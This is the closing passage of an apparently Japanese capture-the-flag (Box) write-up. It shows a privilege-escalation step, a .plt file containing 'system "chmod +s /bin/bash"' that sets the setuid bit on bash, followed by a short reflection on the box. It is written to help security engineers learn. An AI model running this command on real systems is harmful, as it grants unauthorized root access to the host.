system "chmod +s /bin/bash"
これでこの.plt
ファイルが実行されるのを待てばよい。
上手くいきました!!!
これで特権昇格完了!!!
まとめ
今回のBoxは初手の侵入ベクトルがすごく難しかった。というよりラビットホールに吸い込まれていった。
発想の逆転が大事だなと感じたBoxでした。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。